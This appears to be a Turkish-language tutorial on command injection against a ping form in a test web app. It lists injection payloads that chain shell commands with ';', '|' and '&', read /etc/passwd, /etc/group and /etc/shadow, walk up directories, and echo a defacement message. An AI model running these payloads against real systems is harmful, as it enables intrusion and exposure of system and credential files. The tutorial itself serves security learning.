
Command Injection adında da anlaşılacağı gibi Komut Enjekte ederek sistemin açığından yararlanmadır. Saldırgan Windows (cmd) veya Linux terminal komutlarını eğer hedef sistemde kontrol mekanizması yoksa çalıştırabilir.(Kontrol mekanizmasını bypass da edebilir.)
Metin alanına “127.0.0.1” gibi bir IP girildiğinde sonucun ekrana basıldığı görülmektedir.
127.0.0.1

Bunun yanında 2 komutu ardışık olarak çalıştırmak için “;” kullanıldığında, uygulamanın herhangi bir çıktı vermediği görülmektedir.
127.0.0.1; id

Bunun yanında “|” karakteri kara listeye alınmadığı için işletim sisteminde kod çalıştırılabilmektedir.
127.0.0.1 | id

Ayrıca & işaretini kullanarak birden çok komutu aynı anda çalıştırabiliriz. Örneğin 1 | bize aşağıdaki sonucu verecek pwd & whoami & ps:
1 | pwd & whoami & ps

1 | uname -a & users & id & w
Ebeveyn çalışma dizini (pwd)
Komutları yürüten mevcut kullanıcı (whoami)
Çalışan işlemler (ps)
1 | uname -a & users & id & w ana bilgisayar adını, oturum açmış kullanıcıları keşfetmek için
Çoklu komutların yürütülmesi 2
Çoklu komutların yürütülmesi 2
1 | cat /etc/group hedef sistemdeki kullanıcı grupları ve üyeleri hakkında bilgi görüntülemek için.
Kullanıcı Grupları
Kullanıcı Grupları
Linux tabanlı işletim sistemlerinde her zaman /etc/passwd dosyasının içeriğini görüntülemek isteriz çünkü kullanıcılar hakkında bilgi bulabiliriz.

“&;&” kullanılarak birden fazla komutun çalıştırıldığı da görülmektedir.
Uygulama kullanıcısının (www-data) yetkisi olmadığı için “/etc/shadow” dosyasının okunamadığı ve herhangi bir hata mesajı ile karşılaşılmadığı da görülmektedir. Ayrıca bu ifadeden sonraki ifadelerin de ekrana yazdırılmadığı görülmektedir.
; id && uname -a ; head -5 /etc/shadow ; tail -5 /etc/passwd

1 sayısı ile 1 adresine ping at demiş oluyoruz. Geçersiz bir işlem olacağı için ekrana onla ilgili bir çıktı yansımayacaktır. Böylece sadece enjekte ettiğimiz kodun çıktısını görebileceğiz. 1’den sonraki noktalı virgül ile ping komutunu sonlandır demiş oluyoruz ve yeni bir komut satırına geçiş yapmış oluyoruz. Bu yeni satırdaki ls komutu ile de bulunulan dizindeki dosyaların isimlerini döndürüyoruz ve en sonunda echo komutuyla da bulunulan dizindeki dosyaların isimlerini çıktı olarak ekrana bastırıyoruz.
1 | cat /etc/group

1 | cat /etc/passwd

1; ls

Eğer saldırgan bir üst dizinde yer alan dosyaları görüntülemek isterse aşağıdaki komutu girebilir:
1; cd .. && ls

Eğer saldırgan üst dizinin üst dizininde yer alan dosyaları görüntülemek isterse aşağıdakini girebilir:
1; cd .. ; cd .. && ls

Böylelikle saldırgan hep bir üst dizine giderek veya farklı bir dizine dallanarak dilediği dosyanın konumunu öğrenebilir ve içeriğini ekrana yazdırabilir. Aynı zamanda dilediği dosyanın içeriğine Hacked By Falan Filan tarzı şeyler yazdırabilir.
Farzedelim ki saldırgan vardığı dizine bir not bırakmak istiyor. Bunun için aşağıdaki komutu girmesi yeterlidir:
1; cd .. ; cd .. ; echo “Hack yedin. Açığını kapatmak için şunları şunları yap vs…”
